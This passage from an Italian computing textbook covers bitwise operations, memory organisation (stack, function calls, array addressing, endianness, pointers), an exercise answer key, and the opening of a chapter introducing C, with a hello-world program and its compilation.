1\,1\,0\,1\,1\,0\,1\,1 & a \\
1\,1\,0\,1\,1\,0\,1\,1 & a \\
\hline
0\,0\,0\,0\,0\,0\,0\,0 & a\ XOR\ a
\end{array}
$$

91.6.6.1 Esercizio

Eseguire l'operazione seguente, considerando i valori privi di segno: 0010010101011111_2 AND 0110001111000011_2.

91.6.6.2 Esercizio

Eseguire l'operazione seguente, considerando i valori privi di segno: 0010010101011111_2 OR 0110001111000011_2.

91.6.6.3 Esercizio

Eseguire l'operazione seguente, considerando i valori privi di segno: 0010010101011111_2 XOR 0110001111000011_2.

91.6.6.4 Esercizio

Eseguire l'operazione seguente, considerando i valori privi di segno: NOT 0010010101011111_2.

91.7 Organizzazione della memoria

Nello studio del linguaggio C è importante avere un'idea di come venga gestita la memoria di un elaboratore, molto vicina a ciò che si percepirebbe usando direttamente il linguaggio della CPU.

91.7.1 Pila per salvare i dati

Quando si scrive con un linguaggio di programmazione molto vicino a quello effettivo del microprocessore, si ha normalmente a disposizione una pila di elementi omogenei (*stack*), usata per accumulare temporaneamente delle informazioni, da espellere poi in senso inverso. Questa pila è gestita attraverso un vettore, dove l'ultimo elemento (quello superiore) è individuato attraverso un indice noto come *stack pointer* e tutti gli elementi della pila sono comunque accessibili, in lettura e in sovrascrittura, se si conosce la loro posizione relativa.

Figura 91.140. Esempio di una pila che può contenere al massimo nove elementi, rappresentata nel modo tradizionale, oppure distesa, come si fa per i vettori. Gli elementi che si trovano oltre l'indice (lo *stack pointer*) non sono più disponibili, mentre gli altri possono essere letti e modificati senza doverli estrarre dalla pila.

Per accumulare un dato nella pila (*push*) si incrementa di una unità l'indice e lo si inserisce in quel nuovo elemento. Per estrarre l'ultimo elemento dalla pila (*pop*) si legge il contenuto di quello corrispondente all'indice e si decrementa l'indice di una unità.

91.7.2 Chiamate di funzioni

I linguaggi di programmazione più vicini alla realtà fisica della memoria di un elaboratore, possono disporre solo di variabili globali ed eventualmente di una pila, realizzata attraverso un vettore, come descritto nella sezione precedente. In questa situazione, la chiamata di una funzione può avvenire solo passando i parametri in uno spazio di memoria condiviso da tutto il programma. Ma per poter generalizzare le funzioni e per consentire la ricorsione, ovvero per rendere le funzioni ***rientranti***, il passaggio dei parametri deve avvenire attraverso la pila in questione.

Per mostrare un esempio che consenta di comprendere il meccanismo, si può osservare l'esempio seguente, schematizzato attraverso una pseudocodifica: la funzione '`SOMMA`' prevede l'uso di due parametri (ovvero due argomenti nella chiamata) e di una variabile «locale». Per chiamare la funzione, occorre mettere i valori dei parametri nella pila; successivamente, si dichiara la stessa variabile locale nella pila. Si consideri che il programma inizia e finisce nella funzione '`MAIN`', all'interno della quale si fa la chiamata della funzione '`SOMMA`':

```
SOMMA (X, Y)
    LOCAL Z INTEGER
    Z := X + Y
    RETURN Z
END SOMMA

MAIN ()
    LOCAL A INTEGER
    LOCAL B INTEGER
    LOCAL C INTEGER
    A := 3
    B := 4
    C := SOMMA (A, B)
END MAIN
```

Nel disegno successivo, si schematizza ciò che accade nella pila (nel vettore che rappresenta la pila dei dati), dove si vede che inizialmente c'è una situazione indefinita, con l'indice «sp» (*stack pointer*) in una certa posizione. Quando viene eseguita la chiamata della funzione, automaticamente si incrementa la pila inserendo gli argomenti della chiamata (qui si mettono in ordine inverso, come si fa nel linguaggio C), mettendo in cima anche altre informazioni che nello schema non vengono chiarite (nel disegno appare un elemento con dei puntini di sospensione).

Figura 91.142. Situazione della pila nelle varie fasi della chiamata della funzione '**`SOMMA`**'.

La variabile locale «Z» viene allocata in cima alla pila, incrementando ulteriormente l'indice «sp». Al termine, la funzione trasmette in qualche modo il proprio risultato (tale modalità non viene chiarita qui e dipende dalle convenzioni di chiamata) e la pila viene riportata alla sua condizione iniziale.

Dal momento che l'esempio di programma contiene dei valori particolari, il disegno di ciò che succede alla pila dei dati può essere reso più preciso, mettendo ciò che contengono effettivamente le varie celle della pila.

Figura 91.143. Situazione della pila nelle varie fasi della chiamata della funzione '**`SOMMA`**', osservando i contenuti delle varie celle.

prima della chiamata	all'inizio della funzione	dopo la dichiarazione di Z	dopo l'assegnamento di Z	al ritorno dalla funzione
		sp → 0	7	
	sp → ...	...	...	
	3	3	3	
	4	4	4	
sp → ...	...	...	...	... ← sp
...	...	...	...	...

91.7.3 Variabili e array

Con un linguaggio di programmazione molto vicino alla realtà fisica dell'elaboratore, la memoria centrale viene vista come un vettore di celle uniformi, corrispondenti normalmente a un byte. All'interno di tale vettore si distendono tutti i dati gestiti, compresa la pila descritta nelle prime sezioni del capitolo. In questo modo, le variabili in memoria si raggiungono attraverso un indirizzo che individua il primo byte che le compone ed è compito del programma il sapere di quanti byte sono composte complessivamente.

Figura 91.144. Esempio di mappa di una memoria di soli 256 byte, dove sono evidenziate alcune variabili. Gli indirizzi dei byte della memoria vanno da 00_{16} a FF_{16}.

Nel disegno in cui si ipotizza una memoria complessiva di 256 byte, sono state evidenziate alcune aree di memoria:

Indirizzo	Dimensione	Indirizzo	Dimensione
54_{16}	4 byte	58_{16}	4 byte
$5C_{16}$	2 byte	$5E_{16}$	4 byte
62_{16}	8 byte	$6A_{16}$	4 byte
$6E_{16}$	1 byte	$6F_{16}$	8 byte

Con una gestione di questo tipo della memoria, la rappresentazione degli array richiede un po' di impegno da parte del programmatore. Nella figura successiva si rappresenta una matrice a tre dimensioni; per ora si ignorino i codici numerici associati alle celle visibili.

Figura 91.146. La matrice a tre dimensioni che si vuole rappresentare, secondo un modello spaziale. I numeri che appaiono servono a trovare successivamente l'abbinamento con le celle di memoria utilizzate.

Dal momento che la rappresentazione tridimensionale rischia di creare confusione, quando si devono rappresentare matrici che hanno più di due dimensioni, è più conveniente pensare a strutture ad albero. Nella figura successiva viene tradotta in forma di albero la matrice rappresentata precedentemente.

Figura 91.147. La matrice a tre dimensioni che si vuole rappresentare, tradotta in uno schema gerarchico (ad albero).

Si suppone di rappresentare la matrice in questione nella memoria dell'elaboratore, dove ogni elemento terminale contiene due byte. Supponendo di allocare l'array a partire dall'indirizzo 77_{16} nella mappa di memoria già descritta, si potrebbe ottenere quanto si vede nella figura successiva. A questo punto, si può vedere la corrispondenza tra gli indirizzi dei vari componenti dell'array e le figure già mostrate.

Figura 91.148. Esempio di mappa di memoria in cui si distende un array che rappresenta una matrice a tre dimensioni con tre elementi contenenti ognuno due elementi che a loro volta contengono quattro elementi da due byte.

Si pone quindi il problema di scandire gli elementi dell'array. Considerando che array ha dimensioni «3,2,4» e definendo che gli indici partano da zero, l'elemento [0,0,0] corrisponde alla coppia di byte che inizia all'indirizzo 77_{16}, mentre l'elemento [2,1,3] corrisponde all'indirizzo $A5_{16}$. Per calcolare l'indirizzo corrispondente a un certo elemento occorre usare la formula seguente, dove: le variabili I, J, K rappresentano la dimensioni dei componenti; le variabili i, j, k rappresentano l'indice dell'elemento cercato; la variabile A rappresenta l'indirizzo iniziale dell'array; la variabile s rappresenta la dimensione in byte degli elementi terminali dell'array.

$$A + (i \cdot J \cdot K \cdot s + j \cdot K \cdot s + k \cdot s)$$

$$A + s \cdot (i \cdot J \cdot K + j \cdot K + k)$$

Si vuole calcolare la posizione dell'elemento 2,0,1. Per facilitare i conti a livello umano, si converte l'indirizzo iniziale dell'array in base dieci: $77_{16} = 119_{10}$:

$$119 + 2 \cdot (2 \cdot 2 \cdot 4 + 0 \cdot 4 + 1) = 153$$

Il valore 153_{10} si traduce in base sedici in 99_{16}, che corrisponde effettivamente all'elemento cercato: terzo elemento principale, all'interno del quale si cerca il primo elemento, all'interno del quale si cerca il secondo elemento finale.

91.7.3.1 Esercizio

Una certa variabile occupa quattro unità di memoria, a partire dall'indirizzo $2F_{16}$. Qual è l'indirizzo dell'ultima unità di memoria occupata dalla variabile?

Indirizzo iniziale	Indirizzo dell'ultima unità di memoria della variabile
$2F_{16}$	

91.7.3.2 Esercizio

In memoria viene rappresentato un array di sette elementi da quattro unità di memoria ciascuno. Se l'indirizzo iniziale di questo array è 17_{16}, qual è l'indirizzo dell'ultima cella di memoria usata da questo array?

Indirizzo iniziale	Indirizzo dell'ultima unità di memoria dell'array
17_{16}	

91.7.3.3 Esercizio

In memoria viene rappresentato un array di elementi da quattro unità di memoria ciascuno. Se l'indirizzo iniziale di questo array è 17_{16}, qual è l'indirizzo iniziale del secondo elemento dell'array?

Indirizzo iniziale	Indirizzo del secondo elemento dell'array
17_{16}	

91.7.3.4 Esercizio

In memoria viene rappresentato un array di n elementi da quattro unità di memoria ciascuno. Se l'indirizzo iniziale di questo array è 17_{16}, a quale elemento punta l'indirizzo $2B_{16}$?

Indirizzo iniziale	Indirizzo dato	Elemento dell'array
17_{16}	$2B_{16}$	

91.7.3.5 Esercizio

In memoria viene rappresentato un array di ***n*** elementi da quattro unità di memoria ciascuno. Se l'indirizzo iniziale di questo array è 17_{16}, l'indirizzo 22_{16} potrebbe puntare all'inizio di un certo elemento di questo?

91.7.4 Ordine dei byte

Come già descritto in questo capitolo, normalmente l'accesso alla memoria avviene conoscendo l'indirizzo iniziale dell'informazione cercata, sapendo poi per quanti byte questa si estende. Il microprocessore, a seconda delle proprie caratteristiche e delle istruzioni ricevute, legge e scrive la memoria a gruppetti di byte, più o meno numerosi. Ma l'ordine dei byte che il microprocessore utilizza potrebbe essere diverso da quello che si immagina di solito.

Figura 91.156. Confronto tra *big endian* e *little endian*.

big endian 32 bit (4 byte)

0 1 1 1 0 1 1 0	1 0 0 1 1 0 1 1	1 1 1 1 0 1 1 1	1 0 0 0 1 0 1 1
1 0 0 0 1 0 1 1	1 1 1 1 0 1 1 1	1 0 0 1 1 0 1 1	0 1 1 1 0 1 1 0

little endian

big endian 16 bit (2 byte)

0 1 1 1 0 1 1 0	1 0 0 1 1 0 1 1
1 0 0 1 1 0 1 1	0 1 1 1 0 1 1 0

little endian

A questo proposito, per quanto riguarda la rappresentazione dei dati nella memoria, si distingue tra *big endian*, corrispondente a una rappresentazione «normale», dove il primo byte è quello più significativo (*big*), e *little endian*, dove la sequenza dei byte è invertita (ma i bit di ogni byte rimangono nella stessa sequenza standard) e il primo byte è quello meno significativo (*little*). La cosa importante da chiarire è che l'effetto dell'inversione nella sequenza porta a risultati differenti, a seconda della quantità di byte che compongono l'insieme letto o scritto simultaneamente dal microprocessore, come si vede nella figura.

91.7.4.1 Esercizio

In memoria viene rappresentata una variabile di 2 byte di lunghezza, a partire dall'indirizzo 21_{16}, contenente il valore 1111110011000000_2. Se la CPU accede alla memoria secondo la modalità *big endian*, che valore si legge all'indirizzo 21_{16} se si pretende di trovare una variabile da un solo byte?

| | | | | | | | | $_2$

Cosa si legge, invece, se la CPU accede alla memoria secondo la modalità *little endian* (invertita)?

| | | | | | | | | $_2$

91.7.5 Stringhe, array e puntatori

Le stringhe sono rappresentate in memoria come array di caratteri, dove il carattere può impiegare un byte o dimensioni multiple (nel caso di UTF-8, un carattere viene rappresentato utilizzando da uno a quattro byte, a seconda del punto di codifica raggiunto). Il riferimento a una stringa viene fatto come avviene per gli array in generale, attraverso un puntatore all'indirizzo della prima cella di memoria che lo contiene; tuttavia, per non dovere annotare la dimensione di tale array, di norma si conviene che la fine della stringa sia delimitata da un byte a zero, come si vede nell'esempio della figura.

Figura 91.159. Stringa conclusa da un byte a zero (*zero terminated string*), a cui viene fatto riferimento per mezzo di una variabile che contiene il suo indirizzo iniziale. La stringa contiene il testo '`Ciao amore.`', secondo la codifica ASCII.

Nella figura si vede che la variabile scalare collocata all'indirizzo 53_{16} contiene un valore da intendere come indirizzo, con il quale si fa riferimento al primo byte dell'array che rappresenta la stringa (in posizione 78_{16}). La variabile collocata in 53_{16} assume così il ruolo di ***variabile puntatore*** e, secondo il modello ridotto di memoria della figura, è sufficiente un solo byte per rappresentare un tale puntatore, dal momento che servono soltanto valori da 00_{16} a FF_{16}.

91.7.5.1 Esercizio

In memoria viene rappresentata la stringa «Ciao a tutti». Sapendo che ogni carattere utilizza un solo byte e che la stringa è terminata regolarmente con il codice nullo di terminazione (00_{16}), quanti byte occupa la stringa in memoria?

91.7.5.2 Esercizio

In memoria viene rappresentata la stringa «Ciao a tutti» (come nell'esercizio precedente). Sapendo che la stringa inizia all'indirizzo $3F_{16}$, a quale indirizzo si trova la lettera «u» di «tutti»?

91.7.5.3 Esercizio

Se la memoria dell'elaboratore consente di raggiungere indirizzi da 0000_{16} a $FFFF_{16}$, quanto deve essere grande una variabile scalare che si utilizza come puntatore? Si indichi la quantità di cifre binarie.

91.7.6 Utilizzo della memoria

La memoria dell'elaboratore viene utilizzata sia per contenere i dati, sia per il codice del programma che li utilizza. Ogni programma ha un proprio spazio in memoria, che può essere reale o virtuale; all'interno di questo spazio, la disposizione delle varie componenti potrebbe essere differente. Nei sistemi che si rifanno al modello di Unix, nella parte più «bassa» della memoria risiede il codice che viene eseguito; subito dopo vengono le variabili globali del programma, mentre dalla parte più «alta» inizia la pila dei dati che cresce verso indirizzi inferiori. Si possono comunque immaginare combinazioni differenti di tale organizzazione, pur rispettando il vincolo di avere tre zone ben distinte per il loro contesto (codice, dati, pila); tuttavia, ci sono situazioni in cui i dati si trovano mescolati al codice, per qualche ragione.

Figura 91.160. Esempio di disposizione delle componenti di un programma in esecuzione in memoria, secondo il modello Unix.

91.8 Riferimenti

- Mario Italiani, Giuseppe Serazzi, *Elementi di informatica*, ETAS libri, 1973, ISBN 8845303632

- Sandro Petrizzelli, *Appunti di elettronica digitale*

  ⟨*http://users.libero.it/sandry/Digitale_01.pdf*⟩

- Tony R. Kuphaldt, *Lessons In Electric Circuits*, *Digital*

  ⟨*http://www.faqs.org/docs/electric/*⟩

  ⟨*http://www.faqs.org/docs/electric/Digital/index.html*⟩

- Wikipedia, *Sistema numerico binario*

  ⟨*http://it.wikipedia.org/wiki/Sistema_numerico_binario*⟩

- Wikipedia, *IEEE 754*

  ⟨*http://it.wikipedia.org/wiki/IEEE_754*⟩

- Jonathan Bartlett, *Programming from the ground up*, 2003

  ⟨*http://savannah.nongnu.org/projects/pgubook/*⟩

- Paul A. Carter, *PC Assembly Language*, 2006

  ⟨*http://www.drpaulcarter.com/pcasm/*⟩

91.9 Soluzioni agli esercizi proposti

Esercizio	Soluzione
91.1.2.1	$11110011_{2} = 243_{10}$.
91.1.2.2	$01100110_{2} = 102_{10}$.
91.1.3.1	$1357_{8} = 751_{10}$.
91.1.3.2	$7531_{8} = 3929_{10}$.
91.1.4.1	$15AC_{16} = 5548_{10}$.
91.1.4.2	$CF58_{16} = 53080_{10}$.
91.2.1.1	$1234_{10} = 2322_{8}$.
91.2.1.2	$4321_{10} = 10341_{8}$.
91.2.2.1	$44221_{10} = ACBD_{16}$.
91.2.2.2	$12244_{10} = 2FD4_{16}$.
91.2.3.1	$1234_{10} = 10011010010_{2}$.
91.2.3.2	$4321_{10} = 1000011100001_{2}$.
91.2.4.1	$ABC_{16} = 101010111100_{2} = 5274_{8}$.
91.2.4.2	$7655_{8} = 111110101101_{2} = FAD_{16}$.
91.3.1.1	$43{,}21_{10} = 53{,}15341_{8}$.
91.3.1.2	$765{,}4321_{10} = 2FD{,}6E9E1_{16}$.
91.3.1.3	$21{,}11_{10} = 10101{,}00011_{2}$.
91.3.2.1	$765{,}432_{8} = 501{,}55078_{10}$.
91.3.2.2	$AB{,}CD_{16} = 171{,}80078_{10}$.
91.3.2.3	$101010{,}110011_{2} = 42{,}79687_{10}$.
91.3.3.1	$76{,}55_{8} = 00111110{,}10110100_{2} = 3E{,}B4_{16}$.
91.3.3.2	$A7{,}C1_{16} = 010100111{,}110000010_{2} = 247{,}602_{8}$.
91.4.1.1	complemento alla base di $0000123456_{10} = 9999876544_{10}$.

Esercizio	Soluzione
91.4.1.2	complemento alla base di 9999123456_{10} = 0000876544_{10}.
91.4.2.1	complemento a uno di 0011001001000101_2 = 1100110110111010_2; complemento a due = 1100110110111011_2.
91.4.2.2	complemento a uno di 1111001100010101_2 = 0000110011101010_2; complemento a due = 0000110011101011_2.
91.4.8.1	$+103_{10}$ = 0000000001100111_2.
91.4.8.2	-103_{10} = 1111111110011001_2.
91.4.8.3	1111111111110001_2 = -15_{10}; complemento a due = 0000000000001111_2.
91.4.8.4	0000000000110001_2 = $+49_{10}$; complemento a due = 1111111111001111_2; se 1111111111001111_2 fosse inteso senza segno sarebbe uguale a 65487_{10}.
91.4.8.5	da 0_{10} a 2047_{10} indica valori positivi; da 2048_{10} a 4095_{10} indica valori negativi.
91.4.8.6	da 0_{10} a 32767_{10} indica valori positivi; da 32768_{10} a 65535_{10} indica valori negativi.
91.5.1.1	11100011_2 con segno si traduce, a sedici cifre in 1111111111100011_2.
91.5.1.2	0000111110001111_2 con segno equivale a $+3983_{10}$, mentre 10001111_2 con segno equivale a -113_{10}; se poi si volesse supporre che la riduzione di cifre mantenga il segno, si avrebbe 00001111_2 che equivale a $+15_{10}$. Pertanto, in questo caso, la riduzione di cifre non può essere valida.
91.5.1.3	11100011_2 con segno equivale a -29_{10}; copiando questo valore in una variabile senza segno, a sedici cifre, si ottiene 0000000011100011_2, pari a 227_{10}. Se, successivamente, si interpreta il nuovo valore con segno, si ottiene $+227_{10}$, che non corrisponde in alcun modo al valore originale.
91.5.2.1	01010101_2 con segno + 01111110_2 con segno = 11010011_2 con riporto di zero. Il risultato non è valido perché, pur sommando due valori positivi, il segno è diventato negativo.
91.5.2.2	11010101_2 con segno + 01111110_2 con segno = 01010011_2 con riporto di uno. Il risultato della somma tra un numero positivo e un numero negativo è sempre valido.
91.5.2.3	11010101_2 con segno + 10000001_2 con segno = 01010110_2 con riporto di uno. Il risultato non è valido perché si sommano due numeri negativi, ma il risultato è positivo.
91.5.3.1	11010101_2 + 10000001_2 = 01001011_2 con riporto di uno. Il risultato non è valido perché c'è un riporto.
91.5.3.2	11010101_2 + 11110110_2 = 11001011_2 con riporto di uno. Il risultato non è valido perché c'è un riporto.

Esercizio	Soluzione
91.5.3.3	La sottrazione 11010101_2 − 11110110_2 va trasformata nella somma 11010101_2 + 00001010_2 = 11011111_2 senza riporto. Il risultato non è valido perché manca il riporto (d'altra parte si sta sottraendo un valore più grande del minuendo, pertanto il risultato senza segno non può essere valido
91.5.3.4	La sottrazione 11010101_2 − 00001111_2 va trasformata nella somma 11010101_2 + 11110001_2 = 11000110_2 con riporto di uno. Il risultato è valido perché si ha un riporto
91.6.1.1	Lo scorrimento logico a sinistra di 11010101_2, di una sola cifra, è pari a 10101010_2.
91.6.1.2	Lo scorrimento logico a destra di 11010101_2, di una sola cifra, è pari a 01101010_2.
91.6.2.1	Lo scorrimento aritmetico a sinistra di 01010101_2 (con segno), di una sola cifra, è pari a 10101010_2, ma si ottiene un cambiamento di segno e il risultato non è valido.
91.6.2.2	Lo scorrimento aritmetico a destra di 01010101_2 (con segno), di una sola cifra, è pari a 00101010_2. Il risultato è valido, in quanto è stato possibile preservare il segno e il valore ottenuto è pari alla divisione per due di quello originale.
91.6.2.3	Lo scorrimento aritmetico a destra di 11010101_2 (con segno), di una sola cifra, è pari a 11101010_2. Il risultato è valido, in quanto è stato possibile preservare il segno e il valore ottenuto è pari alla divisione per due di quello originale.
91.6.6.1	0010010101011111_2 AND 0110001111000011_2 = 0010000101000011_2.
91.6.6.2	0010010101011111_2 OR 0110001111000011_2 = 0110011111011111_2.
91.6.6.3	0010010101011111_2 XOR 0110001111000011_2 = 0100011010011100_2.
91.6.6.4	NOT 0010010101011111_2 = 1101101010100000_2.
91.7.3.1	L'ultima unità di memoria usata dalla variabile scalare si trova all'indirizzo 32_{16}.
91.7.3.2	L'array è lungo 28 unità di memoria e termina all'indirizzo 32_{16} incluso.
91.7.3.3	L'indirizzo del secondo elemento dell'array è $1B_{16}$.
91.7.3.4	L'indirizzo $2B_{16}$ punta al sesto elemento dell'array.
91.7.3.5	L'indirizzo 22_{16} individua una cella di memoria del terzo elemento dell'array, ma non trattandosi dell'inizio di tale elemento, non è utile come indice dello stesso.
91.7.4.1	In modalità *big endian*, la variabile che contiene 1111110011000000_2, se viene letta come se fosse costituita da un solo byte, darebbe 11111100_2, ovvero la porzione più significativa della stessa. Invece, in modalità *little endian*, ciò che si leggerebbe sarebbe la porzione meno significativa: 11000000_2.
91.7.5.1	La stringa «Ciao a tutti», terminata regolarmente, occupa 13 byte.

Esercizio	Soluzione
91.7.5.2	Sapendo che la stringa «Ciao a tutti» inizia all'indirizzo $3F_{16}$, la lettera «u» si trova all'indirizzo 47_{16}.
91.7.5.3	La variabile che consenta di rappresentare puntatori per indirizzi da 0000_{16} a $FFFF_{16}$, deve essere almeno da 16 bit (sedici cifre binarie).

[1] Nel contesto riferito alla definizione di un numero in virgola mobile, si possono usare indifferentemente i termini ***mantissa*** o ***significante***, così come sono indifferenti i termini ***caratteristica*** o ***esponente***.

[2] Si osservi che lo standard IEEE 754 utilizza una «mantissa normalizzata» che indica la frazione di valore tra uno e due: «1,***mantissa***.

Capitolo 92

Nozioni minime sul linguaggio C

92.1 Primo approccio al linguaggio C 5476

92.1.1 Struttura fondamentale 5476
92.1.2 Ciao mondo! 5477
92.1.3 Compilazione 5480
92.1.4 Emissione dati attraverso «printf()» 5480

92.2 Variabili e tipi del linguaggio C 5481

92.2.1 Bit, byte e caratteri 5482
92.2.2 Tipi primitivi 5482
92.2.3 Costanti letterali comuni 5485
92.2.4 Caratteri privi di rappresentazione grafica 5487
92.2.5 Valore numerico delle costanti carattere 5489
92.2.6 Campo di azione delle variabili 5490
92.2.7 Dichiarazione delle variabili 5490
92.2.8 Il tipo indefinito: «void» 5491

92.3 Operatori ed espressioni del linguaggio C
5491

92.3.1 Tipo del risultato di un'espressione 5493
92.3.2 Operatori aritmetici 5493
92.3.3 Operatori di confronto 5496
92.3.4 Operatori logici 5497
92.3.5 Operatori binari 5499
92.3.6 Conversione di tipo 5501
92.3.7 Espressioni multiple 5502

92.4 Strutture di controllo di flusso del linguaggio C 5503

92.4.1 Struttura condizionale: «if» 5504
92.4.2 Struttura di selezione: «switch» 5507
92.4.3 Iterazione con condizione di uscita iniziale: «while» 5509
92.4.4 Iterazione con condizione di uscita finale: «do-while» 5511
92.4.5 Ciclo enumerativo: «for» 5512

92.5 Funzioni del linguaggio C 5514

92.5.1 Dichiarazione di un prototipo 5514
92.5.2 Descrizione di una funzione 5516
92.5.3 Vincoli nei nomi 5518
92.5.4 I/O elementare 5518

92.5.5 Restituzione di un valore 5520
92.6 Riferimenti 5521
92.7 Soluzioni agli esercizi proposti 5522

! 5491 5497 != 5491 5496 * 5491 5493 *= 5491 5493 + 5491 5493 ++ 5491 5493 += 5491 5493 / 5491 5493 /*...*/ 5476 // 5476 /= 5491 5493 0... 5485 0x... 5485 ; 5476 = 5491 5493 == 5491 5496 ? : 5491 5497 break 5507 5509 5512 case 5507 char 5482 const 5490 continue 5509 5512 default 5507 do 5511 double 5482 else 5504 exit() 5520 F 5485 float 5482 for 5512 if 5504 int 5482 L 5485 5485 LL 5485 long 5482 long long 5482 printf() 5480 return 5516 short 5482 signed 5482 switch 5507 U 5485 UL 5485 ULL 5485 unsigned 5482 void 5491 5514 while 5509 # 5476 & 5491 5499 &= 5491 5499 && 5491 5497 ^ 5491 5499 ^= 5491 5499 ~ 5491 5499 ~= 5491 5499 \... 5487 \0 5487 \? 5487 \a 5487 \b 5487 \f 5487 \n 5487 \r 5487 \t 5487 \v 5487 \x... 5487 \" 5487 \\ 5487 \' 5487 | 5491 5499 |= 5491 5499 || 5491 5497 {...} 5476 '...' 5485 , 5502 - 5491 5493 -= 5491 5493 -- 5491 5493 < 5491 5496 <= 5491 5496 << 5491 5499 <<= 5491 5499 > 5491 5496 >= 5491 5496 >> 5491 5499 >>= 5491 5499 % 5491 5493 %= 5491 5493

92.1 Primo approccio al linguaggio C

Il linguaggio C richiede la presenza di un compilatore per generare un file eseguibile (o interpretabile) dal kernel. Se si dispone di un sistema GNU con i cosiddetti «strumenti di sviluppo», intendendo con questo ciò che serve a ricompilare il kernel, si dovrebbe disporre di tutto quello che è necessario per provare gli esempi di questi capitoli. In alternativa, disponendo solo di un sistema MS-Windows, potrebbe essere utile il pacchetto DevCPP che ha la caratteristica di essere molto semplice da installare.

92.1.1 Struttura fondamentale

Il contenuto di un sorgente in linguaggio C può essere suddiviso in tre parti: commenti, direttive del precompilatore e istruzioni C. I commenti vanno aperti e chiusi attraverso l'uso dei simboli '/*' e '*/'; se poi il compilatore è conforme a standard più recenti, è ammissibile anche l'uso di '//' per introdurre un commento che termina alla fine della riga.

```
/* Questo è un commento che continua
   su più righe e finisce qui. */

// Qui inizia un altro commento che termina alla fine della riga;
// pertanto, per ogni riga va ripetuta la sequenza "//" di apertura.
```

Le direttive del precompilatore rappresentano un linguaggio che guida alla compilazione del codice vero e proprio. L'uso più comune di queste direttive viene fatto per includere porzioni di codice sorgente esterne al file. È importante fare attenzione a non confondersi, dal momento che tali istruzioni iniziano con il simbolo '#': non si tratta di commenti.

Il programma C tipico richiede l'inclusione di codice esterno composto da file che terminano con l'estensione '.h'. La libreria che viene inclusa più frequentemente è quella necessaria alla gestione dei flussi di standard input, standard output e standard error; si dichiara il suo utilizzo nel modo seguente:

```
#include <stdio.h>
```

Le istruzioni C terminano con un punto e virgola (‘**;**’) e i raggruppamenti di queste (noti come «istruzioni composte») si fanno utilizzando le parentesi graffe (‘**{ }**’).[1]

istruzione ;

{ ***istruzione*** ; ***istruzione*** ; ***istruzione*** ; }

Generalmente, un’istruzione può essere interrotta e ripresa nella riga successiva, dal momento che la sua conclusione è dichiarata chiaramente dal punto e virgola finale. L’istruzione nulla viene rappresentata utilizzando un punto e virgola da solo.

I nomi scelti per identificare ciò che si utilizza all’interno del programma devono seguire regole determinate, definite dal compilatore C a disposizione. Ma per cercare di scrivere codice portabile in altre piattaforme, conviene evitare di sfruttare caratteristiche speciali del proprio ambiente. In particolare:

- un nome può iniziare con una lettera alfabetica e continuare con altre lettere, cifre numeriche e il trattino basso;
- in teoria i nomi potrebbero iniziare anche con il trattino basso, ma è sconsigliabile farlo, se non ci sono motivi validi per questo;[2]
- nei nomi si distinguono le lettere minuscole da quelle maiuscole (pertanto, ‘**Nome**’ è diverso da ‘**nome**’ e da tante altre combinazioni di minuscole e maiuscole).

La lunghezza dei nomi può essere un elemento critico; generalmente la dimensione massima dovrebbe essere di 32 caratteri, ma ci sono versioni di C che ne possono accettare solo una quantità inferiore. In particolare, il compilatore GNU ne accetta molti di più di 32. In ogni caso, il compilatore non rifiuta i nomi troppo lunghi, semplicemente non ne distingue più la differenza oltre un certo punto.

Il codice di un programma C è scomposto in funzioni, dove normalmente l’esecuzione del programma corrisponde alla chiamata della funzione ***main()***. Questa funzione può essere dichiarata senza parametri, ‘**int main (void)**’, oppure con due parametri precisi: ‘**int main (int argc, char *argv[])**’.

92.1.2 Ciao mondo!

Come sempre, il modo migliore per introdurre a un linguaggio di programmazione è di proporre un esempio banale, ma funzionante. Al solito si tratta del programma che emette un messaggio e poi termina la sua esecuzione.

```
/*
 *      Ciao mondo!
 */

#include <stdio.h>

/* La funzione main() viene eseguita automaticamente all'avvio. */
int main (void)
{
    /* Si limita a emettere un messaggio. */
    printf ("Ciao mondo!\n");

    /* Attende la pressione di un tasto, quindi termina. */
    getchar ();
    return 0;
}
```

Nel programma sono state inserite alcune righe di commento. In particolare, all'inizio, l'asterisco che si trova nella seconda riga ha soltanto un significato estetico, per guidare la vista verso la conclusione del commento stesso.

Il programma si limita a emettere la stringa «Ciao Mondo!» seguita da un codice di interruzione di riga, rappresentato dal simbolo '**`\n`**'.

92.1.2.1 Esercizio

Si modifichi l'esempio di programma mostrato, in modo da usare solo commenti del tipo '`//`'. Si può completare a penna il listato successivo

```
        Ciao mondo!


#include <stdio.h>

    La funzione main() viene eseguita automaticamente
    all'avvio.

int main (void)
{

        Si limita a emettere un messaggio.

    printf ("Ciao mondo!\n");

        Attende la pressione di un tasto, quindi termina.

    getchar ();
    return 0;
}
```

92.1.2.2 Esercizio

Si modifichi l'esempio di programma mostrato, in modo da emettere il testo seguente, come si può vedere:

```
Il mio primo programma
scritto in linguaggio C.
```

Si completi per questo lo schema seguente:

```
#include <stdio.h>
int main (void)
{





    getchar ();
    return 0;
}
```

92.1.3 Compilazione

Per compilare un programma scritto in C, nell'ambito di un sistema operativo tradizionale, si utilizza generalmente il comando '**`cc`**', anche se di solito si tratta di un collegamento simbolico al vero compilatore che si ha a disposizione. Supponendo di avere salvato il file dell'esempio con il nome '`ciao.c`', il comando per la sua compilazione è il seguente:

`$` **`cc ciao.c`** [*Invio*]

Quello che si ottiene è il file '`a.out`' che dovrebbe già avere i permessi di esecuzione.

`$` **`./a.out`** [*Invio*]

```
Ciao mondo!
```

Se si desidera compilare il programma definendo un nome diverso per il codice eseguibile finale, si può utilizzare l'opzione standard '**`-o`**'.

`$` **`cc -o ciao ciao.c`** [*Invio*]

Con questo comando, si ottiene l'eseguibile '**`ciao`**'.

`$` **`./ciao`** [*Invio*]

```
Ciao mondo!
```

In generale, se ciò è possibile, conviene chiedere al compilatore di mostrare gli avvertimenti (*warning*), senza limitarsi ai soli errori. Pertanto, nel caso il compilatore sia GNU C, è bene usare l'opzione '**`-Wall`**':

`$` **`cc -Wall -o ciao ciao.c`** [*Invio*]

92.1.3.1 Esercizio

Quale comando si deve dare per compilare il file '`prova.c`' e ottenere il file eseguibile '`programma`'?

`$` [*Invio*]

92.1.4 Emissione dati attraverso «printf()»

L'esempio di programma presentato sopra si avvale della funzione ***printf()***[3] per emettere il messaggio attraverso lo standard output. Questa funzione è più sofisticata di quanto possa apparire dall'esempio, in quanto permette di comporre il risultato da emettere. Negli esempi più semplici di codice C appare immancabilmente questa funzione, per cui è necessario descrivere subito, almeno in parte, il suo funzionamento.

`int printf (`***stringa_di_formato*** `[, `***espressione***`]...);`

